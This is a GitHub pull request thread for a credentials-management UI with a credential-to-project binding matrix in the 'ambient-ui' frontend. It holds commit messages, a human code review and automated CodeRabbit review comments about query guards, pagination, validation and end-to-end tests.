feat(ambient-ui): Credentials view with binding matrix#1650
Conversation
…atrix Add global Credentials page at /credentials with two tabs: - Registry: credential table grouped by provider category, create/manage sheets with provider-specific fields, token rotation, delete - Access Matrix: spreadsheet grid for credential-to-project/agent binding with inheritance, optimistic updates, bulk ops, keyboard nav, pagination Domain layer: DomainCredential, DomainRoleBinding types, provider registry Port/adapter: CredentialsPort, RoleBindingsPort with SDK implementations Query hooks: CRUD mutations with cache invalidation Sidebar: Configure group with Credentials nav item (global scope) Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
BLOCKER: Fetch credential:viewer role ID via useRoles hook instead of passing empty string. Show warning banner if role not found. MAJOR fixes: - Flatten Category→Provider cascade to single grouped select - Rename tabs: "Registry"→"Credentials", "Access Matrix"→"Project Access" - Matrix cells: larger indicators (h-5 w-5), inherited uses dashed border + chain icon instead of dimmed green check - Credential row headers: tooltip on name, wider min/max width - N+1 binding queries: pass bindings from parent, compute counts client-side - Matrix cells: role="checkbox" + aria-checked for a11y - Token field: required validation + red asterisk - Credential name click: plain label + separate kebab for bulk ops MINOR fixes: - Hide inherited legend entry when no agents - Page header spacing increased - Provider-required fields get red asterisks Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
The getGroupedRowModel + getExpandedRowModel with expanded=true caused infinite re-render loops when data changed. Replace with simple flat table sorted by category column. Category shows as a text column. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…ings Three Playwright test suites covering: - Credentials CRUD lifecycle: create → list → get → update → rotate → delete - Roles API: verifies built-in roles including credential:viewer - RoleBindings lifecycle: create credential → bind to project → list → unbind → cleanup All tests hit the API server directly (not BFF) to avoid auth. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
- Credentials page uses ?tab= query parameter for tab persistence - RoleBindings adapter: don't sanitize TSL search queries (was stripping quotes from scope = 'credential') - Credential table: remove getGroupedRowModel that caused browser freeze - Codify tab URL convention in ambient-ui workflow skill with evals Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
- Layout: exclude known global routes (credentials, settings) from being parsed as projectId. Fixes spurious GET /projects/credentials 404s and double-highlighted sidebar items. - BFF proxy: return null body for 204 responses instead of empty string body (violates HTTP spec, caused 500 in Next.js). - Binding matrix: don't clear optimistic deletes in finally block — let query refetch naturally supersede the optimistic state. Fixes checkbox snapping back to checked after unbind. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Address findings from 3-persona UX council (Krug, Refactoring UI, Norman): Navigation & Layout: - Breadcrumb links to dashboard instead of sessions, agent detail in breadcrumb - Heading hierarchy: top-level pages use text-2xl tracking-tight - Content area max-w-7xl to prevent edge-to-edge stretch - Visual separator between project-scoped and global nav groups - Disabled nav items show "Select a project" tooltip - Chat "Pop out" renamed to "Move to sidebar" with PanelRight icon - Escape collapses sidebar instead of destroying all sessions Credentials: - Tabs: "Manage" + "Bindings" with icons, full-width stretch - Binding matrix: agents wired up across all projects - Matrix labels: axis labels outside grid, "All agents" sub-column - Project headers with FolderOpen icon, credential rows with KeyRound icon - Filter clear button, ?credential= deep link from manage sheet - Toast feedback on all credential CRUD and binding toggle failures - Bulk actions: "Grant"/"Revoke" verbs, scoped labels, confirmation dialogs with color-coded headers, grouped project→agent details, count badges, inline +/- icons per item - Inherited cells now clickable to add direct agent bindings - Batch concurrency pool (20 parallel) with progress toast - Extracted binding-helpers.ts with 32 unit tests Command Palette: - Visible search trigger in nav header with ⌘K hint - Recent visits tracked in localStorage (layout records page visits) - Default view shows recents, search fires on debounced keystroke - Results grouped by project, "Navigate" section at bottom Design Tokens: - Event type badges use CSS custom properties (--event-*) - Binding matrix uses --matrix-bound tokens - Chat PhaseIndicator uses --status-* tokens - Error styling uses --status-error-* tokens - All hardcoded hex replaced with theme-aware tokens Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…icator Manage sheet visual hierarchy (per UX council): - Header with primary icon container, provider badge, category label - Details section in bg-muted/40 card with stacked label/value layout - URL and email rendered as clickable links - Rotate Token section in amber warning zone with AlertTriangle icon - Danger Zone in red border-2 with extra spacing - Live credential data via useCredential() so Updated date refreshes Sheet URL state: - Opening pushes ?manage=<credId> to URL - Browser back button closes the sheet - Page load restores sheet from ?manage= param Binding matrix improvements: - "Manage credential" button in row kebab with separator - Filtered state indicator: "Filtered to 1 of N credentials · Show all" - Active filter input gets ring highlight + tinted background - Larger clear button with hover state - Grant/Revoke language unified across all popovers and tooltips - "View bindings" link text (not "Manage in Bindings tab") - Edit credential from bindings tab opens page-level manage sheet Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
|
Note Reviews pausedIt looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the Use the following commands to manage reviews:
Use the checkboxes below for quick actions:
📝 WalkthroughWalkthroughAdds credential and RBAC domain types/ports, SDK adapters and mappers, React Query hooks, credential provider metadata, binding helpers + tests, a BindingMatrix and credential create/manage UI, Credentials page with URL-driven state, recent-visit persistence, command/sidebar/nav updates, CSS design tokens, E2E tests, API proxy 204 handling, and a restartable sidecar manager. ChangesCredentials RBAC Feature
Possibly related PRs
Suggested labels
✨ Finishing Touches🧪 Generate unit tests (beta)
✨ Simplify code
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
✅ Deploy Preview for cheerful-kitten-f556a0 canceled.
|
markturansky
left a comment
markturansky
left a comment
There was a problem hiding this comment.
Amber Review — PR #1650: Credentials view with binding matrix
Verdict: REJECT — 1 Major finding blocking merge + pre-existing blocker that must be resolved before this lands.
Summary
Large, well-structured feature. Error handling is clean throughout (generic messages, no raw err.message exposure). The command palette correctly defers queries with enabled: open && isSearching. The binding-matrix cell rendering uses proper role="checkbox" with aria-checked — good a11y. No nested interactive element violations found.
Two issues block this PR:
Findings
Blocker (pre-existing, not introduced here)
app-sidebar.tsx: useSessions(projectId ?? '') fires when no project is selected
const { data: sessionsData } = useSessions(projectId ?? '')This was flagged in PR #1647 Round 6. It was fixed in #1647, but that PR hasn't merged to main yet. This branch was cut before the fix landed. Before merging #1650, either rebase on top of #1647 or apply the same fix (add enabled: !!projectId to useSessions).
This PR's changes to app-sidebar.tsx are correct (the Credentials global nav item, Tooltip on disabled items, Separator). The regression is pre-existing — just needs the rebase.
Major (introduced by this PR)
credential-manage-sheet.tsx: useRoleBindings(undefined) fires an unbounded query on every page load
// credential-manage-sheet.tsx
const { data: bindingsData } = useRoleBindings(
credential
? { search: `credential_id = '${credential.id}'` }
: undefined,
)CredentialManageSheet is always mounted (never conditionally rendered). When managedCredential is null — which is true on every initial load of the credentials page — credential is null, so this calls useRoleBindings(undefined), which fetches all role bindings with no filter. The result is unused (component returns null before render), but the API call still fires.
Pattern: deferred-data-fetch / query-enabled-guard — same class of bug as PR #1636 (deferred export query) and #1647 Round 6 (useSessions in sidebar).
Fix option A — mount the sheet conditionally:
// credentials/page.tsx
{managedCredential && (
<CredentialManageSheet
credential={managedCredential}
open={true}
onOpenChange={(open) => { if (!open) closeManageSheet() }}
onNavigateToMatrix={handleNavigateToMatrix}
/>
)}Fix option B — add enabled support to useRoleBindings:
// queries/use-role-bindings.ts
export function useRoleBindings(params?: ListParams, options?: { enabled?: boolean }, port?: RoleBindingsPort) {
return useQuery({
queryKey: queryKeys.roleBindings.list(params),
queryFn: () => adapter.list(params),
enabled: options?.enabled ?? true,
})
}Then call with enabled: !!credential?.id at the sheet call site.
Minor
1. credential-create-sheet.tsx: _derivedCategory prefix is misleading
const _derivedCategory = provider ? getCategoryForProvider(provider) : undefinedThe _ prefix conventionally means "intentionally unused." This variable IS rendered in JSX below. Rename to derivedCategory.
2. credential-manage-sheet.tsx: string interpolation into search param
{ search: `credential_id = '${credential.id}'` }credential.id is a server-generated UUID so injection is not an active risk, but interpolating values into query strings is a code smell. Prefer structured params if the API supports them, or document that id is always a UUID.
3. credentials/page.tsx: unnecessary refetchInterval on agent queries
refetchInterval: 30_000,Polling every 30 seconds for agents on the credentials management page. Agents don't change often and the user isn't monitoring live state here. Remove refetchInterval (or set staleTime only, no interval).
4. binding-matrix.tsx at 1408 lines — exceeds 400-line convention
amber-config.yml principle principle_v_modularity flags files over 400 lines for refactoring proposal. At 1408 lines this is 3.5× over threshold. The component is functionally correct but difficult to maintain. Recommend extracting at minimum: bulk-confirm dialog, pagination controls, and the cell subcomponent into sibling files. This is a post-merge cleanup task but should be tracked.
5. use-recent-visits.ts: no runtime validation on localStorage parse
return parsed as RecentVisitItem[]If localStorage contains stale or corrupted data from a schema change, this will silently pass invalid data downstream. Low risk in practice, but a basic shape-check (e.g., items.every(i => typeof i.id === 'string')) would make it more robust.
Positive
- Error handling across all sheets: generic messages only, no raw
err.messageexposure ✓ useCredential: correctly guarded withenabled: !!id✓- Command palette:
enabled: open && isSearching && projects.length > 0— properly deferred ✓ use-recent-visits:useSyncExternalStorewith proper SSR snapshot — correct pattern ✓- Binding matrix:
role="checkbox"/aria-checked="mixed"on inherited cells — clean a11y ✓ - Optimistic updates with rollback on failure in
toggleCell✓ - Batch concurrency pool (BATCH_CONCURRENCY=20) — well-structured ✓
Required before LGTM
- Fix
useRoleBindings(undefined)incredential-manage-sheet.tsx(Major) - Rebase on top of PR #1647 (or fix
useSessions(projectId ?? '')in app-sidebar) to avoid re-introducing the pre-existing bug
Major: conditionally mount CredentialManageSheet to prevent useRoleBindings(undefined) firing an unbounded query on page load. Pre-existing: useSessions in app-sidebar already guarded by enabled: !!projectId in the hook — no behavioral change needed. Minor fixes: - Rename _derivedCategory → derivedCategory (not unused) - Remove unnecessary refetchInterval on agent queries - Add runtime shape validation on localStorage parse in use-recent-visits Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
markturansky
left a comment
markturansky
left a comment
There was a problem hiding this comment.
Amber Re-Review — PR #1650
Reviewed commits 5262e449 + 3328c8ed against my earlier REJECT.
Previous findings: resolved
MAJOR — useRoleBindings(undefined) unbounded query — Fixed.
page.tsx now conditionally mounts the sheet:
{managedCredential && (
<CredentialManageSheet
credential={managedCredential}
open
onOpenChange={(open) => { if (!open) closeManageSheet() }}
onNavigateToMatrix={handleNavigateToMatrix}
/>
)}When no credential is selected managedCredential is null, the component is not mounted, and useRoleBindings is never called. When a credential is selected the search filter is always the scoped credential_id = '${credential.id}' form — never the unbounded undefined path. ✓
PRE-EXISTING — useSessions(projectId ?? '') fires with empty string — Correctly identified as a false positive.
useSessions has enabled: !!projectId internally (landed in PR #1647). Passing '' results in enabled: false and no API call. My original finding was wrong; no behavioral change needed. ✓
TEST TOKENS — ghp_* in e2e fixtures — Replaced with non-secret fixture strings in e2e/credentials.spec.ts. ✓
One minor note (not blocking)
CredentialManageSheet's prop signature is still credential: DomainCredential | null, and useRoleBindings is called before the if (!credential || !resolved) return null guard. The conditional mount in the parent makes this safe today, but if the call site ever changes, the unbounded query would silently return. Narrowing the type to credential: DomainCredential would make the contract explicit and guard against future regression.
Not a blocker — the mount guard is sufficient.
LGTM. All original findings addressed.
Amber · 3EaiLG7uLbZz3iwTGquqPPRTaCm
|
@coderabbitai full review |
Per amber's suggestion: credential prop narrowed from DomainCredential | null to DomainCredential. All call sites already conditionally mount the sheet, so the null guard is redundant. This makes the contract explicit and prevents future regression of the unbounded useRoleBindings query. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
✅ Action performedFull review finished. |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 12
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
components/ambient-ui/src/components/chat-sidebar-context.tsx (1)
119-127:⚠️ Potential issue | 🟠 Major | ⚡ Quick winRestore sidebar expansion on back navigation.
When the user collapses the sidebar and then uses browser back, the
popstatehandler restores theactiveSessionIdand adds the session, but doesn't setisCollapsedback tofalse. This leaves the sidebar hidden even though the URL param indicates it should be visible.Add
setIsCollapsed(false)when a chat param is present.🐛 Proposed fix
useEffect(() => { const handlePopState = () => { const id = readChatParam() setActiveSessionId(id) - if (id) addIfAbsent({ sessionId: id, mode: 'chat' }) + if (id) { + addIfAbsent({ sessionId: id, mode: 'chat' }) + setIsCollapsed(false) + } } window.addEventListener('popstate', handlePopState) return () => window.removeEventListener('popstate', handlePopState) }, [addIfAbsent])🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@components/ambient-ui/src/components/chat-sidebar-context.tsx` around lines 119 - 127, The popstate handler in handlePopState restores activeSessionId and calls addIfAbsent but doesn't expand the sidebar; modify handlePopState so that after reading id = readChatParam() and before or after addIfAbsent, if id is truthy call setIsCollapsed(false) to ensure the sidebar is visible when navigating back; update the closure to include setIsCollapsed in the dependency list if needed so the effect stays correct.
🧹 Nitpick comments (3)
skills/ambient-ui/workflow/evals/evals.json (1)
2-7: ⚡ Quick winUpdate eval to match Next.js router best practices.
The
expectedvalue referencesreplaceState, which should be updated to use Next.js 15'suseRouter().replace()instead (see comment on SKILL.md line 66). The eval definition should test for framework-idiomatic patterns.📋 Corrected eval definition
{ "id": "tab-url-persistence", "description": "Tabbed views must persist active tab in URL via ?tab= query parameter", "input": "Create a new page with two tabs: Overview and Settings", - "expected": "The page uses controlled <Tabs value={activeTab}> with useState + useEffect to read ?tab= from URL on mount, and replaceState on tab change" + "expected": "The page uses controlled <Tabs value={activeTab}> with useSearchParams to read ?tab= on mount, and useRouter().replace() to update URL on tab change" }🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@skills/ambient-ui/workflow/evals/evals.json` around lines 2 - 7, The eval "tab-url-persistence" references window.history.replaceState; update the expected text to require Next.js 15 router usage by checking for useRouter().replace() instead: assert the page uses controlled <Tabs value={activeTab}> with useState + useEffect to read ?tab= from the URL on mount and calls useRouter().replace(...) when the tab changes (framework-idiomatic pattern per SKILL.md guidance). Keep the rest of the expectation (controlled Tabs, useState/useEffect read of ?tab) unchanged and mention useRouter().replace() as the required replacement API.skills/ambient-ui/workflow/SKILL.md (1)
66-66: ⚡ Quick winPrefer Next.js router APIs over direct
replaceState.The standard prescribes direct browser
replaceState, but Next.js 15 providesuseRouter().replace()which properly integrates with the framework's client-side navigation, prefetching, and middleware systems. DirectreplaceStatebypasses these mechanisms and can cause issues with browser history, back/forward navigation, and route transitions.📋 Recommended Next.js 15 pattern
-Tabbed views MUST persist the active tab in the URL via `?tab=` query parameter using controlled `<Tabs value={activeTab}>` with useState + useEffect + replaceState. +Tabbed views MUST persist the active tab in the URL via `?tab=` query parameter using controlled `<Tabs value={activeTab}>` with useSearchParams + useRouter for proper Next.js integration.Example implementation:
'use client'; import { useSearchParams, useRouter, usePathname } from 'next/navigation'; const searchParams = useSearchParams(); const router = useRouter(); const pathname = usePathname(); const [activeTab, setActiveTab] = useState(searchParams.get('tab') || 'overview'); const handleTabChange = (value: string) => { setActiveTab(value); const params = new URLSearchParams(searchParams.toString()); params.set('tab', value); router.replace(`${pathname}?${params.toString()}`); };🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@skills/ambient-ui/workflow/SKILL.md` at line 66, The docs currently instruct using direct window.history.replaceState to persist active tab with a controlled <Tabs value={activeTab}> pattern; update the guidance and example to use Next.js 15 router APIs instead: read initial tab from useSearchParams into activeTab (via useState), and on tab change call a handler (e.g., handleTabChange) that updates state and calls useRouter().replace() with the new pathname + URLSearchParams (use usePathname and useSearchParams) rather than calling replaceState directly so Tabs (and functions named activeTab, handleTabChange, and any useEffect that previously invoked replaceState) integrate with Next.js client navigation and prefetching.components/ambient-ui/src/domain/credential-providers.ts (1)
3-13: ⚡ Quick winHarden provider metadata as immutable shared state.
getProviderMetareturns the same object references stored in module-level maps. BecauseProviderMeta/fieldsare mutable, callers can mutate global metadata at runtime.Suggested diff
type CredentialField = 'token' | 'url' | 'email' -export type ProviderMeta = { - provider: string - label: string - icon: string - fields: CredentialField[] -} +export type ProviderMeta = Readonly<{ + provider: string + label: string + icon: string + fields: readonly CredentialField[] +}> -export type CredentialCategory = { - label: string - providers: ProviderMeta[] -} +export type CredentialCategory = Readonly<{ + label: string + providers: readonly ProviderMeta[] +}>Also applies to: 52-68
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@components/ambient-ui/src/domain/credential-providers.ts` around lines 3 - 13, The module exports mutable ProviderMeta/CredentialCategory shapes and getProviderMeta (and similar lookups) returns direct references to module-level maps, allowing callers to mutate shared metadata; fix by making the types immutable (e.g., change ProviderMeta and CredentialCategory properties to readonly and fields to readonly CredentialField[]/readonly ProviderMeta[]) and ensure lookup functions like getProviderMeta return immutable data (either return a deep-cloned object or Object.freeze/structuredClone the stored value) so callers cannot alter the module-level maps at runtime; update any related maps/arrays initializers to satisfy the readonly types and adjust callers if they relied on mutation.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@components/ambient-ui/e2e/credentials.spec.ts`:
- Around line 57-63: The test currently lets delete/unbind responses with status
500 pass without verifying the resource was actually removed; update the two
blocks handling deleteRes (and the analogous unbind response) so that when
deleteRes.status() === 500 you still perform a follow-up GET to
`${API_BASE}/credentials/${credId}` (using the same verifyRes variable) and
assert verifyRes.status() === 404 (or fail the test if it's not 404), rather
than silently returning after logging—this ensures post-conditions are enforced
even on 500 responses.
- Line 106: Replace the hardcoded project_id: 'hi' in the credentials setup with
the real fixture project id used by the e2e tests (e.g., reference the test
fixture variable like fixtures.project.id or testFixture.projectId that supplies
the created project), so the role-binding test uses the actual project context;
update the object containing project_id in
components/ambient-ui/e2e/credentials.spec.ts (the credentials setup) to pull
that fixture value instead of the literal 'hi'.
- Around line 8-64: The test "create → list → get → update → rotate → delete"
may leave credentials behind if an assertion fails mid-flow; wrap the body after
creating the credential in a try/finally so cleanup always runs: after creating
and capturing created.id (credId) run the rest of the assertions inside try, and
in finally attempt the DELETE using
request.delete(`${API_BASE}/credentials/${credId}`) only if credId is set
(reusing the existing 500-check/expect logic) to ensure removal on failures;
apply the same try/finally pattern to the other test block referenced (lines
82-128) that creates credentials/bindings.
In `@components/ambient-ui/src/adapters/sdk-credentials.ts`:
- Around line 22-31: The buildSdkListOptions helper forwards page/size
unchecked; validate and clamp them before returning to prevent <=0 or unbounded
values: enforce page = max(1, provided) and clamp size between 1 and a sensible
max (e.g., 100) and fall back to default (e.g., 20) when missing or invalid;
update buildSdkListOptions in sdk-credentials.ts to implement this logic and
apply the same pattern to the analogous helpers in sdk-role-bindings.ts and
sdk-roles.ts (use consistent constant names like DEFAULT_PAGE_SIZE and
MAX_PAGE_SIZE to make the limits discoverable).
In
`@components/ambient-ui/src/app/`(dashboard)/credentials/_components/binding-matrix.tsx:
- Around line 348-350: The render and bulk-action code is performing repeated
linear scans by calling findProjectBinding and findAgentBinding inside nested
loops (e.g., when computing unboundCreds from credentials and other places
around lines with effectiveBindings), causing O(rows × columns × bindings) work;
fix by pre-indexing effectiveBindings into lookup maps (e.g., a Map keyed by
credentialId+projectId and another by credentialId+agentId or nested maps like
bindingsByCredential[credentialId][projectId/agentId]) before rendering or
performing bulk actions, then replace calls to
findProjectBinding/findAgentBinding with constant-time map lookups; update code
paths referenced (unboundCreds computation and the blocks around the other
occurrences) to use the new maps.
- Around line 177-179: The pagination can end up pointing past the last page
when rows are removed/refetched, leaving paginatedCredentials empty; add a
useEffect that watches the derived row count/totalPages (e.g.
filteredCredentials.length or totalPages) and clamp currentPage into the valid
range using setCurrentPage(Math.max(1, Math.min(currentPage, totalPages))).
Update the effect(s) around currentPage (the existing useEffect that resets page
on filter changes and the similar blocks you noted) to also run when
filteredCredentials.length or totalPages change so the component
(paginatedCredentials) never renders an out-of-range empty page.
In
`@components/ambient-ui/src/app/`(dashboard)/credentials/_components/credential-create-sheet.tsx:
- Around line 82-95: The submit path only checks requiredFields for
'token'—update the validation in the credential creation handler so it iterates
or checks all entries in requiredFields (e.g., 'token','url','email') and for
each missing required value (token, url.trim(), email.trim()) call setError with
a clear message and return before building the DomainCredentialCreateRequest;
ensure you still build request using the same symbols (name, provider, token,
url, email, description) only after validation passes. Apply the same validation
fix to the duplicate submit block referenced around lines 244-245 (same
function/handler) so both code paths enforce all provider-required fields
consistently.
In `@components/ambient-ui/src/app/`(dashboard)/credentials/page.tsx:
- Around line 91-103: Bindings and agents fetches are truncated and cause an N+1
fan-out: useRoleBindings({ size: 1000 }) and per-project agent
useQueries/projects → agentsAdapter.list(p.id, { size: 100 }) silently miss
items and scale poorly. Fix by replacing the fixed-size single-call pattern with
paginated/aggregate fetches: change useRoleBindings and roles/agents calls to
iterate pages (or add/consume an agentsAdapter.listAll or batch API) until all
pages are returned rather than using hard caps, and replace the
projects.map(...) useQueries fan-out with a single query that returns agents for
all projects (or a batched multi-project API) so queryKeys.agents.list and
agentsAdapter.list are not invoked per-project; ensure bindingsData and
projectsData use full pagination loops and update bindings and agent matrix to
use the complete result set.
In `@components/ambient-ui/src/components/command-palette.tsx`:
- Around line 86-102: The current sessionQueries and agentQueries use useQueries
over projects, causing N+1 fan-out (sessionsAdapter.list and agentsAdapter.list
per project) on each debounced search; replace this with a single aggregated
search call (e.g., add/use a global endpoint like sessionsAdapter.searchAll /
agentsAdapter.searchAll or a new queryKey such as
queryKeys.sessions.searchGlobal) that accepts multiple project IDs and the
debouncedQuery, and update the useQueries usage to a single useQuery (or a
capped/batched Promise-based fan-out with a hard project limit) that runs only
when open && isSearching; ensure you preserve staleTime and enabled behavior and
remove per-project list() mapping to avoid per-project requests.
In `@components/ambient-ui/src/domain/types.ts`:
- Around line 218-225: DomainRoleBindingCreateRequest is missing sessionId which
breaks create/read symmetry with DomainRoleBinding; add an optional sessionId?:
string to the DomainRoleBindingCreateRequest type and update the SDK mapping in
sdk-role-bindings.ts to map sessionId <-> session_id (ensure the create payload
includes session_id and list/deserialize handles session_id back into sessionId)
so session-scoped bindings can be created and read consistently.
In `@components/ambient-ui/src/hooks/use-recent-visits.ts`:
- Around line 94-96: The de-duplication currently removes items based only on
existing.type and existing.id which can collide across projects; update the
filter in use-recent-visits (the const filtered computation) to also compare
projectId (e.g., existing.projectId === item.projectId) so the identity check
uses type + id + projectId, ensuring visits from different projects are not
overwritten.
- Around line 49-55: readItems() currently force-casts filtered parsed data to
RecentVisitItem[] but only checks that item.type is a string, which can allow
values not present in ICON_MAP and cause ICON_MAP[item.type] to be undefined at
render; update the predicate in use-recent-visits.ts (readItems) to additionally
verify that item.type is a valid key for ICON_MAP (e.g.,
Object.prototype.hasOwnProperty.call(ICON_MAP, item.type) or check
Object.keys(ICON_MAP).includes(item.type)), and only then cast to
RecentVisitItem[] so downstream usage of ICON_MAP[item.type] is safe.
---
Outside diff comments:
In `@components/ambient-ui/src/components/chat-sidebar-context.tsx`:
- Around line 119-127: The popstate handler in handlePopState restores
activeSessionId and calls addIfAbsent but doesn't expand the sidebar; modify
handlePopState so that after reading id = readChatParam() and before or after
addIfAbsent, if id is truthy call setIsCollapsed(false) to ensure the sidebar is
visible when navigating back; update the closure to include setIsCollapsed in
the dependency list if needed so the effect stays correct.
---
Nitpick comments:
In `@components/ambient-ui/src/domain/credential-providers.ts`:
- Around line 3-13: The module exports mutable ProviderMeta/CredentialCategory
shapes and getProviderMeta (and similar lookups) returns direct references to
module-level maps, allowing callers to mutate shared metadata; fix by making the
types immutable (e.g., change ProviderMeta and CredentialCategory properties to
readonly and fields to readonly CredentialField[]/readonly ProviderMeta[]) and
ensure lookup functions like getProviderMeta return immutable data (either
return a deep-cloned object or Object.freeze/structuredClone the stored value)
so callers cannot alter the module-level maps at runtime; update any related
maps/arrays initializers to satisfy the readonly types and adjust callers if
they relied on mutation.
In `@skills/ambient-ui/workflow/evals/evals.json`:
- Around line 2-7: The eval "tab-url-persistence" references
window.history.replaceState; update the expected text to require Next.js 15
router usage by checking for useRouter().replace() instead: assert the page uses
controlled <Tabs value={activeTab}> with useState + useEffect to read ?tab= from
the URL on mount and calls useRouter().replace(...) when the tab changes
(framework-idiomatic pattern per SKILL.md guidance). Keep the rest of the
expectation (controlled Tabs, useState/useEffect read of ?tab) unchanged and
mention useRouter().replace() as the required replacement API.
In `@skills/ambient-ui/workflow/SKILL.md`:
- Line 66: The docs currently instruct using direct window.history.replaceState
to persist active tab with a controlled <Tabs value={activeTab}> pattern; update
the guidance and example to use Next.js 15 router APIs instead: read initial tab
from useSearchParams into activeTab (via useState), and on tab change call a
handler (e.g., handleTabChange) that updates state and calls
useRouter().replace() with the new pathname + URLSearchParams (use usePathname
and useSearchParams) rather than calling replaceState directly so Tabs (and
functions named activeTab, handleTabChange, and any useEffect that previously
invoked replaceState) integrate with Next.js client navigation and prefetching.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Enterprise
Run ID: fffddfe3-ec82-4708-a493-8bfb48ba0929
📒 Files selected for processing (44)
components/ambient-ui/e2e/credentials.spec.tscomponents/ambient-ui/src/adapters/index.tscomponents/ambient-ui/src/adapters/mappers.tscomponents/ambient-ui/src/adapters/sdk-credentials.tscomponents/ambient-ui/src/adapters/sdk-role-bindings.tscomponents/ambient-ui/src/adapters/sdk-roles.tscomponents/ambient-ui/src/app/(dashboard)/[projectId]/agents/page.tsxcomponents/ambient-ui/src/app/(dashboard)/[projectId]/page.tsxcomponents/ambient-ui/src/app/(dashboard)/[projectId]/sessions/[sessionId]/_components/chat-tab.tsxcomponents/ambient-ui/src/app/(dashboard)/[projectId]/sessions/[sessionId]/_components/event-row.tsxcomponents/ambient-ui/src/app/(dashboard)/[projectId]/sessions/[sessionId]/_components/event-summary-banner.tsxcomponents/ambient-ui/src/app/(dashboard)/[projectId]/sessions/[sessionId]/_components/event-type-badge.tsxcomponents/ambient-ui/src/app/(dashboard)/[projectId]/sessions/[sessionId]/_components/logs-tab.tsxcomponents/ambient-ui/src/app/(dashboard)/[projectId]/sessions/page.tsxcomponents/ambient-ui/src/app/(dashboard)/credentials/_components/__tests__/binding-helpers.test.tscomponents/ambient-ui/src/app/(dashboard)/credentials/_components/binding-helpers.tscomponents/ambient-ui/src/app/(dashboard)/credentials/_components/binding-matrix.tsxcomponents/ambient-ui/src/app/(dashboard)/credentials/_components/credential-create-sheet.tsxcomponents/ambient-ui/src/app/(dashboard)/credentials/_components/credential-manage-sheet.tsxcomponents/ambient-ui/src/app/(dashboard)/credentials/_components/credential-table.tsxcomponents/ambient-ui/src/app/(dashboard)/credentials/page.tsxcomponents/ambient-ui/src/app/(dashboard)/layout.tsxcomponents/ambient-ui/src/app/api/ambient/v1/[...path]/route.tscomponents/ambient-ui/src/app/globals.csscomponents/ambient-ui/src/components/app-sidebar.tsxcomponents/ambient-ui/src/components/chat-messages.tsxcomponents/ambient-ui/src/components/chat-sidebar-context.tsxcomponents/ambient-ui/src/components/chat-sidebar.tsxcomponents/ambient-ui/src/components/command-palette.tsxcomponents/ambient-ui/src/components/nav-header.tsxcomponents/ambient-ui/src/components/ui/command.tsxcomponents/ambient-ui/src/domain/credential-providers.tscomponents/ambient-ui/src/domain/types.tscomponents/ambient-ui/src/hooks/use-recent-visits.tscomponents/ambient-ui/src/ports/credentials.tscomponents/ambient-ui/src/ports/index.tscomponents/ambient-ui/src/ports/role-bindings.tscomponents/ambient-ui/src/ports/roles.tscomponents/ambient-ui/src/queries/query-keys.tscomponents/ambient-ui/src/queries/use-credentials.tscomponents/ambient-ui/src/queries/use-role-bindings.tscomponents/ambient-ui/src/queries/use-roles.tsskills/ambient-ui/workflow/SKILL.mdskills/ambient-ui/workflow/evals/evals.json
| role_id: viewerRole.id, | ||
| scope: 'credential', | ||
| credential_id: cred.id, | ||
| project_id: 'hi', |
There was a problem hiding this comment.
Replace hardcoded project_id: 'hi' with a real fixture project id.
This makes the binding test environment-dependent and weakens integration validation for role-binding scope constraints.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@components/ambient-ui/e2e/credentials.spec.ts` at line 106, Replace the
hardcoded project_id: 'hi' in the credentials setup with the real fixture
project id used by the e2e tests (e.g., reference the test fixture variable like
fixtures.project.id or testFixture.projectId that supplies the created project),
so the role-binding test uses the actual project context; update the object
containing project_id in components/ambient-ui/e2e/credentials.spec.ts (the
credentials setup) to pull that fixture value instead of the literal 'hi'.
| const { data: bindingsData } = useRoleBindings({ size: 1000, search: "scope = 'credential'" }) | ||
| const { data: rolesData, isLoading: rolesLoading } = useRoles({ size: 100 }) | ||
|
|
||
| const projects = useMemo(() => projectsData?.items ?? [], [projectsData]) | ||
| const bindings = useMemo(() => bindingsData?.items ?? [], [bindingsData]) | ||
|
|
||
| const agentQueries = useQueries({ | ||
| queries: projects.map((p) => ({ | ||
| queryKey: queryKeys.agents.list(p.id, { size: 100 }), | ||
| queryFn: () => agentsAdapter.list(p.id, { size: 100 }), | ||
| enabled: projects.length > 0, | ||
| staleTime: 60_000, | ||
| })), |
There was a problem hiding this comment.
Avoid truncated matrix data and project-by-project agent N+1 fetches.
